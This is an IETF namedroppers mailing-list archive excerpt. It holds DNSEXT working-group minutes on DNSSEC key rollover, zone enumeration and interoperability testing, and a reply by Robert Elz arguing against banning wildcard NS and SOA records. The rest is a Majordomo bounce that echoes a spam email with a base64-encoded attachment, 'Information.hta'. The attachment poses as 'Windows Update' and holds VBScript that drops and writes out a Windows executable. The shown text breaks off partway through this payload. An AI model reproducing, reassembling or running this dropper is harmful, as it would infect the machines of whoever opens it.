scheme using a revoke bit and timers. Johan Ihren presented his scheme is using n-of-m keys. Paul Vixie presented the DLV interim scheme available in bind-9.3. The sense of the room was that this its on important them for the working group to work on. The chairs are instructed to coordinate with related working groups (DNSOP) and security area AD's own how to approach this area. All presenters and others are invited to submit drafts for consideration as working group documents. Zone enumeration discussion: During the working group last call for DNSSEC this issue was raised as a barrier to entry for a number of TLD's. The working group commissioned two studies on this issue: Zone enumeration prevention requirements NSEC++ transition approaches and impact on protocol both of these reports where presented based on the current status off the work items. In addition two different proposals for NSEC replacement where presented. There a was extensive discussion on the different approaches and the need for even addressing this issue. At the meeting it was pointed out that there are both issues for large delegation zones as possibly for small enterprise zones and these may differ both in requirements and solution space. The sense off the room was that none of the proposals is fully baked and we can not do an engineering trade-off yet as the requirements are not known at this point. The working group will actively work on it requirements document before any protocol work is done. End off first meeting. After discussing with security area directors our new potential work item, the working group has two security advisers available: Russ Housley on key management and Hillary Orman on key strength issues and on-line signing. Second meeting Thursday August 5. Note taker: Peter Koch Jabber Scribe: George Michaelson Jakob Schlyter presented the results of his interoperabilty testing of RFC3597 (unknown RR types support). In his tests few bugs where found in implementations but no issues with the document. Jakob recommends advancement to Draft Standard based on the results. There are RR types with intra RR versioning (e.g. LOC), those have not been tested specifically. At this stage Olafur urges the WG members to volunteer for additional interop tests for the WG to be able to advance more documents to Draft. Jakob is asked to give an estimate of the effort needed for a test coordination "most of the work was getting the implementors to participate rest took 3 or 4 days". Donald Eastlake presented two documents for considerations for adoption by the working group: TSIG-SHA1 and ECC-KEYs. As there are lingering doubts about the long term viability of MD5 it is prudent to consider adding a stronger hash such as SHA1. ECC keys are shorter than RSA/DSA keys for same strength, basic technology is unencumbered, but lots of patents/patent claims wrt to implementation techniques. The working group will consider adopting both drafts as working group items. Rob Austein presented a straw man proposal for identification of nameserver answering a query. There is need for a mechanism for identifying DNS servers in an anycast set and the current approach (id.server, hostname.bind), which has a problem as it needs a separate query. The draft proposes the use of EDNS to ask server for an id to be attached to the response. Since this is a (proposed) protocol change, the doc is discussed here while earlier documents reside in DNSOP. There was lively discussion about various aspects of this issue, what to put in the identification string, how fine grain the identifier should be server/server+addr/view etc. The sense of the room was that this is of critical importance, but we need requirements first. DNSOP is working on these, please follow and contribute there. The chairs then presented their status of each of the current working group documents, majority of which are at IESG or in the last stages to advance there. In open mike session Roy Arends presented his and Jakob Schlyter's work on fingerprinting implementations. Noteworthy observations include a firewall product which answers queries with EDNS on with an IN-ADDR.ARPA query, enabling external queriers to detect the presence of this particular IDS systems. Another problem present in several implementations (vendors have been approached) is vulnerability against "DNS ping pong", i.e. systems answering unsolicited responses with another response Miek Gieben gave input to the recent enumeration discussion. He performed a dictionary attack (using john the ripper) on the NL zone. After 18 hours he was able to find 10% (135.000) of the 1.x million domain names. Meeting concluded, the chairs want to thank the note takers for excellent notes. Olafur + Olaf. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Fri, 03 Sep 2004 03:17:59 +0700 Lines: 171 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:23:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd5ce15f1169@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 11:08:25 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd5ce15f1169@[192.168.1.100]> | We restrict names that have CNAME to be exclusively that ('cept for | DNSSEC records) and then just one CNAME RR. We restrict some name | to have just 1 SOA RR. Sorry, how is this in any way relevant. There are lots of various restrictions in the DNS as it was originally defined, that's fine. There never were any restrictions on the values of the octets in any name labels however - none at all for any uses at all - and there's no reason at all to start adding any. | There's nothing in the current specifications that prevent "* NS" | now. No, of course there isn't, and nor is there any reason for there to be. | The WG seems to be moving towards formalizing the prevention. No, the WG is (seems to be) confused. What the WG wants to prevent is a '* NS' meaning "all domain names, other than those explicitly in the zone, are delegated to ..." But there's no need to do that, that usage of '* NS' is already absent. That is, while there's no text in 1034 that explicitly says this doesn't work in quite those explicit terms, there is absolutely nothing in the lookup algorithm which could conceivably allow it to work. The only way a '* NS' RR will ever be used is when someone is either a) doing an explicit lookup for a qname that includes a '*' label at the appropriate point to match (in which case there is no wildcard at all, just yet another 1 octet label, the '*' is no different at all to an 'x' or a ':' (or for that matter, even a '.'). b) doing a query of type NS for a name that isn't in the zone. Then the '*' will match as a wildcard. This is harmless. | Looking at the discussion - I see a swell of support for formally | banning the holding of NS and SOA at the * label. I don't. What I saw was a swell of support for not making dynamic zone creation work by the addition of some wildcard magic. That's something different - to do it would actually require changes to the lookup algorithms (something like is being proposed for CNAME, but of a more radical nature). I know that there are people who believe that a '* NS' record somehow might be a wildcard delegation - but they're simply mistaken. There is no such thing in the DNS as it exists, and we don't need to change anything to prevent that interpretation. Making '* NS' illegal would simply be making one special case name that can own any other record type, but cannot be delegated, unlike every other name that ever might exist. | As much as I can | rationalize, leaving them legal does no harm in the sense that the | protocol isn't harmed. But making them illegal makes a silly special case, for which there is no justification. | But, by leaving them legal we open up the | documents to widely speculative interpretations (such as what | happened in MARID regarding internal wild cards) Yes, we need to make it clear how the things work. That's why we need this clarifications doc. We don't need to change anything to explain it. | and we create gray areas and corner cases. No, there are no grey areas, and no corner cases here, everything is simple. It is just confusing as people keep treating the '*' in a DNS zone (or domain name) as if it were a '*' (or perhaps .*) in a regular expression (or perhaps closer, a '*' in a glob pattern). We just need to make it clear that it is nothing like any of that. There is no pattern matching going on here at all. | Exactly what I've discovered in my research. And, because of your | last line, I think the WG wants to see the ban on * SOA and *NS in | place. To make it clear to newcomers to "don't go there." But that's the wrong method. This is just as crazy as the earlier attempts to restrict domain names to the old hosts.txt syntax. We don't have to do anything like that. We just need to explain how it works - clearly - and with examples. | Look at what we did for the DS RR set. We changed the data lookup | algorithm to make the answer come from the parent. Yes, that's OK, that kind of thing is possible - changes can be made when there's a very good reason, and when you can be confident that nothing is going to break because of the change - which might not be as difficult when you're doing something completely new. | Here, we can say "the answer to a * NS query is noerror/nodata." We | can most easily enforce this by refusing to allow "*NS" into the | server. That's better than putting in other road blocks. But we don't need to do a thing. That's what I am trying to make clear. The spec as it is already provides all the right answers in this area. The only problem is that almost no-one reads the spec, rather they just jump to conclusions. That isn't a good reason for making changes. | Let's say we discover that there's a use for "* NS". There already is. It is used to delegate the '*' sub-domain. What else could it possibly mean? | I really think that when it comes to securing critical infrastructure | like DNS, we want to clamp down on it's looseness with out making it | brittle. There is nothing loose here, it is already precisely defined. As we agreed earlier, the only problem is how people misinterpret it, not how things are specified. When that's the problem, the answer is to correct the interpretation, not to change the spec. | I do share the concern that laying down "rules" is dangerous for | future growth. Here I think you're (and here I really mean the singular "you" - ye??) still imagining that there can somehow be some way of wildcard auto zone generation/delegation, not now perhaps, but sometime in the future. There cannot be - or not without a major redesign of the DNS lookup algorithms (if that were ever to be attempted, it might possibly not even be '*' that's used as the magic token for this purpose). | But, the case is being made that we want the DNS to be much more clear, | understandable to folks that coming to the table later in the | development of the Internet. Yes, absolutely, and this part I agree with. But the way to make things clear isn't to introduce more special case rules. It is to simply explain things better, so they can be understood properly. | When I talked to MARID in May, at their interim meeting, they did not | want an engineering discussion of DNS, they wanted "can/can't". Sure, and the answer is "can't". If they don't want the explanation, that's OK, provided they're prepared to accept the answer. If they're not prepared to simply accept a yes/no answer because it isn't the answer they hoped for, then they have to start to understand the mechanism. If they refuse that, they're idiots, and we just ignore them, what they're doing won't work, can't work, and why should we care? It is kind of like if I ask my mechanic "can my car do 200 kph in reverse?" (S)he says "no". If I'm prepared to simply accept that answer, fine. On the other hand, if I start to argue that the car does 200 kph in the forward direction, so the engine can clearly manage that speed, so it must also be able to do 200 kph in reverse, and I refuse to have anything about gear ratios or whatever explained to me, then what should be done? Limit the max forward speed to what can be obtained in reverse by fiat? Because that's exactly what is being proposed here for the DNS. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: majordomo@psg.com Subject: Majordomo results: Re: Hello Date: Thu, 02 Sep 2004 19:54:29 +0000 Lines: 2958 Sender: owner-namedroppers@ops.ietf.org Reply-To: majordomo@psg.com X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:30:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Scanned-By: MIMEDefang 2.44 Precedence: bulk [ Moderators note: Post was moderated, either because it was posted by a non-subscriber, or because it was over 20K. With the massive amount of spam, it is easy to miss and therefore delete relevant posts by non-subsrcibers. Please fix your subscription addresses. ] -- >>>> ----------jbwyugkgucjrrnylblnz **** Command '----------jbwyugkgucjrrnylblnz' not recognized. >>>> Content-Type: text/html; charset="us-ascii" **** Command 'content-type:' not recognized. >>>> Content-Transfer-Encoding: 7bit **** Command 'content-transfer-encoding:' not recognized. >>>> >>>> <html><body> **** Command '<html><body>' not recognized. >>>> >>>> >>>> <br> **** Command '<br>' not recognized. >>>> </body></html> **** Command '</body></html>' not recognized. >>>> >>>> ----------jbwyugkgucjrrnylblnz **** Command '----------jbwyugkgucjrrnylblnz' not recognized. >>>> Content-Type: application/octet-stream; name="Information.hta" **** Command 'content-type:' not recognized. >>>> Content-Transfer-Encoding: base64 **** Command 'content-transfer-encoding:' not recognized. >>>> Content-Disposition: attachment; filename="Information.hta" **** Command 'content-disposition:' not recognized. >>>> >>>> PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ **** Command 'pehutuw+dqo8sevbrd4ncjxusvrmrt5xaw5kb3dzifvwzgf0ztwvveluteu+dqo8sfrbokfq' not recognized. >>>> UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S **** Command 'uexjq0fusu9oielepsjriibbufbmsunbvelptk5btuu9ileiiejpukrfuj0ibm9uzsigqk9s' not recognized. >>>> REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v **** Command 'revsu1rzteu9im5vcm1hbcigq0fqvelptj0ibm8iieldt049iiigq09ovevyve1ftlu9im5v' not recognized. >>>> IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB **** Command 'iibnqvhjtularujvvfrptj0ibm8iie1jtklnsvpfqlvuve9opsjubyigu0hpv0lovefts0jb' not recognized. >>>> Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg **** Command 'uj0ibm8iifnjtkdmrulou1rbtknfpsjubyigu1lttuvovt0ibm8iifzfulnjt049ijeumcig' not recognized. >>>> V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+ **** Command 'v0lore9xu1rbveu9im1pbmltaxplii8+dqo8u0nssvbuiexbtkdvqudfpsjwqlnjcmlwdci+' not recognized. >>>> DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu **** Command 'dqpneuzpbgugpsaicwzslnzicyinclnldcbgu08gpsbdcmvhdgvpymply3qoilnjcmlwdglu' not recognized. >>>> Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG **** Command 'zy5gawxlu3lzdgvtt2jqzwn0iiknclnldcbuu08gpsbgu08uq3jlyxrlvgv4dezpbguotxlg' not recognized. >>>> aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg **** Command 'awxllcbucnvlkq0kvfnplndyaxrlicjkaw0gzmlszxn5cywgzmlszxr4dcwgz2v0bmftzswg' not recognized. >>>> cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx **** Command 'cgf0acwgdgv4dgzpbgusigkiicygdmjjcmxmdqpuu08ud3jpdguginrlehrmawxlid0giijx' not recognized. >>>> d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i **** Command 'd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjtzxqgzmlszxn5cya9ienyzwf0zu9i' not recognized. >>>> amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy **** Command 'amvjdcgiilnjcmlwdgluzy5gawxlu3lzdgvtt2jqzwn0iiipiiamihziy3jszg0kvfnplndy' not recognized. >>>> aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy **** Command 'axrlicjtzxqgzmlszxr4dca9igzpbgvzexmuq3jlyxrlvgv4dezpbguodgv4dgzpbgusifry' not recognized. >>>> dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt **** Command 'dwupiiamihziy3jszg0kvfnplndyaxrlicjnzxruyw1lid0gzmlszxn5cy5hzxrgawxltmft' not recognized. >>>> ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp **** Command 'zshwyxroksigjib2ymnybgynclrtty53cml0zsaizgltigeiicygdmjjcmxmdqpuu08ud3jp' not recognized. >>>> dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww **** Command 'dgugime9qxjyyxkonzcsotasmcwwldesmcwwldasmiwwldasmcwyntusmju1ldasmcw2ncww' not recognized. >>>> LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs **** Command 'ldasmcwwldasmcwwldy0ldasmcwwldasmcwwldasmtgwldc2ldiwnswzmywwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4 **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxndqsmcwwldasmty5ldm4' not recognized. >>>> LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs **** Command 'ldiymswxoswymzcsnzesmtc5ldy0ldiznyw3mswxnzksnjqsmjm3ldcxlde3osw2ncwymzcs' not recognized. >>>> NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs **** Command 'nzesmtc5ldy0ldizocw3mswxnzksnjqsotksodgsmtywldy0ldewosw3mswxnzksnjqsmtcs' not recognized. >>>> MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy **** Command 'mtazlde2msw2ncwymzysnzesmtc5ldy0ldqyldy1lde4msw2ncwymzysnzesmtc5ldy0ldgy' not recognized. >>>> LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs **** Command 'ldewnsw5oswxmdqsmjm3ldcxlde3osw2ncwwldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww **** Command 'mcwwldasmcwwldasmcwwldasmcw4mcw2oswwldasnzysmswzldasmja0lde1lde0ncw2ncww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs **** Command 'ldasmcwwldasmcwwldasmji0ldasmtusmswxmswxldusmtismcw4mcwwldasmcwxniwwldas' not recognized. >>>> MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx **** Command 'mcwxndqsmcwwldi0mcwymjysmcwwldasmtywldasmcwwldi0mcwwldasmcwwldy0ldasmcwx' not recognized. >>>> NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs **** Command 'niwwldasmcwyldasmcw0ldasmcwwldasmcwwldasncwwldasmcwwldasmcwwldasmcwxldas' not recognized. >>>> MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs **** Command 'mcwxniwwldasmcwwldasmcwyldasmcwwldasmcwxniwwldasmtysmcwwldasmcwxniwwldas' not recognized. >>>> MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2 **** Command 'mtysmcwwldasmcwwldasmtysmcwwldasmcwwldasmcwwldasmcwwlde2ncwyndmsmcwwldc2' not recognized. >>>> LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldismcwwldasmjqwldasmcwxnjqsmywwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww **** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs **** Command 'ldasmcwwldasmcwwldasmcwwldg1ldgwldg4ldq4ldasmcwwldasmcwxndqsmcwwldasmtys' not recognized. >>>> MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy **** Command 'mcwwldasmcwwldasmcwyldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxmjgsmcwwldiy' not recognized. >>>> NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs **** Command 'ncw4nsw4mcw4ocw0oswwldasmcwwldasodasmcwwldasmtywldasmcwwldcwldasmcwwldis' not recognized. >>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs **** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldy0ldasmcwymjqsndysmte0ldexnswxmtqs' not recognized. >>>> OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww **** Command 'otksmcwwldasmcwxniwwldasmcwyndasmcwwldasniwwldasmcw3miwwldasmcwwldasmcww' not recognized. >>>> LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy **** Command 'ldasmcwwldasmcwwldasnjqsmcwwlde5miw0osw0niw1mcw1miwwldg1ldgwldg4ldmzldey' not recognized. >>>> LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2 **** Command 'ldksmiw4lde5mswzosw2msw5nswymtgsmja4ldexmswxntgsmtk5lde5oswwldasmjaxldy2' not recognized. >>>> LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx **** Command 'ldasmcwwlde0niwwldasmzgsmcwwldiwncwyntusmju1ldi1nswxntusmjuwldiwmsw1ocwx' not recognized. >>>> MTMsNDIsNDMsMjQsMTQ0LDI0MywxNjMsNDMsMTYsMTM3LDI1MiwxMjMsOCwyMTgsMTIxLDY2 **** Command 'mtmsndisndmsmjqsmtq0ldi0mywxnjmsndmsmtysmtm3ldi1miwxmjmsocwymtgsmtixldy2' not recognized. >>>> LDIzLDI0LDE0LDExNSwyMzgsMTI3LDk0LDgyLDE5MSwyNTMsMjU1LDI1NSwxODYsMjUwLDQs **** Command 'ldizldi0lde0ldexnswymzgsmti3ldk0ldgylde5mswyntmsmju1ldi1nswxodysmjuwldqs' not recognized. >>>> NTgsMTQzLDI0LDU3LDE3NSwxMTMsMjIsMTcyLDExMywxOTEsMjQyLDExMywxNDMsMjQ2LDEx **** Command 'ntgsmtqzldi0ldu3lde3nswxmtmsmjismtcyldexmywxotesmjqyldexmywxndmsmjq2ldex' not recognized. >>>> MywxODMsMjM0LDI1LDIyNiw0NSw1OSwxNiwyNDIsMjAwLDI1MiwyMjAsMjU1LDE3NywyMjEs **** Command 'mywxodmsmjm0ldi1ldiyniw0nsw1oswxniwyndismjawldi1miwymjasmju1lde3nywymjes' not recognized. >>>> MjIzLDUsNTksMTEzLDI1NCwzOCwyMDEsNTYsMTg4LDI0LDE4LDE2NCw1MSw1NiwyNDYsMjUw **** Command 'mjizldusntksmtezldi1ncwzocwymdesntysmtg4ldi0lde4lde2ncw1msw1niwyndysmjuw' not recognized. >>>> LDQzLDEwNywyMzcsMTgzLDIzOSw0MiwxMyw0Miw1LDE0MywyMzQsMiwyNDYsMTcwLDE4LDU4 **** Command 'ldqzldewnywymzcsmtgzldizosw0miwxmyw0miw1lde0mywymzqsmiwyndysmtcwlde4ldu4' not recognized. >>>> LDUsMCwxMywyNSwxMjcsMjUxLDI0Niw3LDEyMSw2MiwxNCwxNDYsMjUwLDIxOCw1MywxNDQs **** Command 'ldusmcwxmywynswxmjcsmjuxldi0niw3ldeymsw2miwxncwxndysmjuwldixocw1mywxndqs' not recognized. >>>> MjUwLDE4LDk3LDUyLDI1MCwxMTUsMTkxLDYsNjEsMTkxLDI1NSwxOTAsMTk3LDE5MCwxNCwx **** Command 'mjuwlde4ldk3lduyldi1mcwxmtusmtkxldysnjesmtkxldi1nswxotasmtk3lde5mcwxncwx' not recognized. >>>> MzAsMTQ0LDEsNDgsMjQyLDE4LDQ1LDE4NiwxMywxMTksMTkxLDIsMTcwLDI1NSwxNTUsMTc1 **** Command 'mzasmtq0ldesndgsmjqylde4ldq1lde4niwxmywxmtksmtkxldismtcwldi1nswxntusmtc1' not recognized. >>>> LDEyMyw0MSwxOCw2LDIxLDgzLDEyMSwxMzUsMiwyNTAsMTQzLDI0OCwxNywyMzMsNSwxNDMs **** Command 'ldeymyw0mswxocw2ldixldgzldeymswxmzusmiwyntasmtqzldi0ocwxnywymzmsnswxndms' not recognized. >>>> MTE5LDExMSwyMzgsMTQ1LDIsMTQsMTgsMTA2LDkxLDY3LDE0LDE3LDUzLDE1LDE4LDE3MCwx **** Command 'mte5ldexmswymzgsmtq1ldismtqsmtgsmta2ldkxldy3lde0lde3lduzlde1lde4lde3mcwx' not recognized. >>>> ODYsMjE5LDU0LDExNSw5Niw3MCwxMDYsMTM1LDE0LDExOSwyNTQsMTA2LDE4MywyNDYsMjIw **** Command 'odysmje5ldu0ldexnsw5niw3mcwxmdysmtm1lde0ldexoswyntqsmta2lde4mywyndysmjiw' not recognized. >>>> LDEwMiwyMjYsODksOTAsMTY1LDIwMCwyMzYsNzEsMjQyLDI0OCwxODMsMjE3LDIyMiwyMjMs **** Command 'ldewmiwymjysodksotasmty1ldiwmcwymzysnzesmjqyldi0ocwxodmsmje3ldiymiwymjms' not recognized. >>>> MTM3LDI1NCwyNSwxNDQsMjU0LDE0NiwyMiwxNjQsMTg5LDUsMjU1LDExLDE4OSwyMzcsMTkz **** Command 'mtm3ldi1ncwynswxndqsmju0lde0niwymiwxnjqsmtg5ldusmju1ldexlde4oswymzcsmtkz' not recognized. >>>> LDE4MiwxNzAsMjAzLDcsMjAxLDQwLDEzLDcxLDEwNCwzOCwyMzgsMjQ2LDE3MywyMjAsNTMs **** Command 'lde4miwxnzasmjazldcsmjaxldqwldezldcxldewncwzocwymzgsmjq2lde3mywymjasntms' not recognized. >>>> MTczLDYsMTEzLDI1MiwyNDYsNTksMTksMjQ4LDY0LDksODEsOSwyMzksNjIsMTc4LDI1Mywx **** Command 'mtczldysmtezldi1miwyndysntksmtksmjq4ldy0ldksodesoswymzksnjismtc4ldi1mywx' not recognized. >>>> MjEsMjcsMjQ5LDksODAsMTY1LDMwLDI0MiwxNjksMTEzLDE2NywyNDYsMzMsMTQ0LDIyNCwx **** Command 'mjesmjcsmjq5ldksodasmty1ldmwldi0miwxnjksmtezlde2nywyndysmzmsmtq0ldiyncwx' not recognized. >>>> OCw5OSwyNDIsMTQ4LDI1MywxMTksNzMsMTIxLDU4LDE1NSw2LDgwLDE3NywxNDMsMTEsMTYx **** Command 'ocw5oswyndismtq4ldi1mywxmtksnzmsmtixldu4lde1nsw2ldgwlde3nywxndmsmtesmtyx' not recognized. >>>> LDMxLDI0MCwxOCwxMzEsMTIzLDIzMSwyMiw1MCwyMDIsMTc3LDE4NCwyNTEsMTgsNzQsMTk3 **** Command 'ldmxldi0mcwxocwxmzesmtizldizmswymiw1mcwymdismtc3lde4ncwyntesmtgsnzqsmtk3' not recognized. >>>> LDE2OSwyMDIsMTczLDExNywxMjcsMjQxLDU4LDE0MiwyNDQsMTcwLDE0NCwxNDgsMzcsMTIs **** Command 'lde2oswymdismtczldexnywxmjcsmjqxldu4lde0miwyndqsmtcwlde0ncwxndgsmzcsmtis' not recognized. >>>> MTg3LDQwLDE5NiwxMjcsMjIsMTg2LDE5MywxMzEsMTcyLDY5LDE0MywxMzIsMTM1LDIwMSwz **** Command 'mtg3ldqwlde5niwxmjcsmjismtg2lde5mywxmzesmtcyldy5lde0mywxmzismtm1ldiwmswz' not recognized. >>>> MywyNSwxNzQsMTk1LDE1MSwyMzcsMjU1LDg2LDU5LDI2LDIzNCwxMjEsMywyNTEsMTQyLDI0 **** Command 'mywynswxnzqsmtk1lde1mswymzcsmju1ldg2ldu5ldi2ldizncwxmjesmywyntesmtqyldi0' not recognized. >>>> MSw4NiwxNTYsOSwyNDIsMjQ4LDE0MiwyNTEsODYsMTU0LDcsMTIxLDEyMywxMjAsMTgsMjMy **** Command 'msw4niwxntysoswyndismjq4lde0miwyntesodysmtu0ldcsmtixldeymywxmjasmtgsmjmy' not recognized. >>>> LDE4LDE5OSwxNTIsNTYsOSwyNDYsMTgsMjAxLDI1MiwxOCwxMTEsMjM3LDIyMSwxNDUsMjEx **** Command 'lde4lde5oswxntisntysoswyndysmtgsmjaxldi1miwxocwxmtesmjm3ldiymswxndusmjex' not recognized. >>>> LDE4LDIxNiw2LDE4NSwxMjEsMSwyMzIsNzIsNjYsMTU2LDY2LDI0Nyw4LDE3MywyNTMsMjU1 **** Command 'lde4ldixniw2lde4nswxmjesmswymzisnzisnjysmtu2ldy2ldi0nyw4lde3mywyntmsmju1' not recognized. >>>> LDI0MCwxNTYsODEsMTIxLDE5LDI0OSwxMzEsNzIsMTMsMzUsMjA5LDMsNzQsMTk5LDIwOCwx **** Command 'ldi0mcwxntysodesmtixlde5ldi0oswxmzesnzismtmsmzusmja5ldmsnzqsmtk5ldiwocwx' not recognized. >>>> NDUsMTk2LDI1NSwyNTUsMjU1LDI1NSwxMjEsMjYsMTk3LDE5OCwxOTYsMTM3LDIzMiwxOTgs **** Command 'ndusmtk2ldi1nswyntusmju1ldi1nswxmjesmjysmtk3lde5ocwxotysmtm3ldizmiwxotgs' not recognized. >>>> MjA2LDEzNywyNDAsMjU0LDE4NywxOTgsMTYxLDEzNiwyNDUsMjU0LDI1MiwxNywyNDEsMjU0 **** Command 'mja2ldeznywyndasmju0lde4nywxotgsmtyxldezniwyndusmju0ldi1miwxnywyndesmju0' not recognized. >>>> LDYsMTcsMjUzLDIxNCwxOTYsNTgsMjYsMjQ4LDI1NCwyMzUsMzAsMjE4LDE5NSwyMDksODAs **** Command 'ldysmtcsmjuzldixncwxotysntgsmjysmjq4ldi1ncwymzusmzasmje4lde5nswymdksodas' not recognized. >>>> 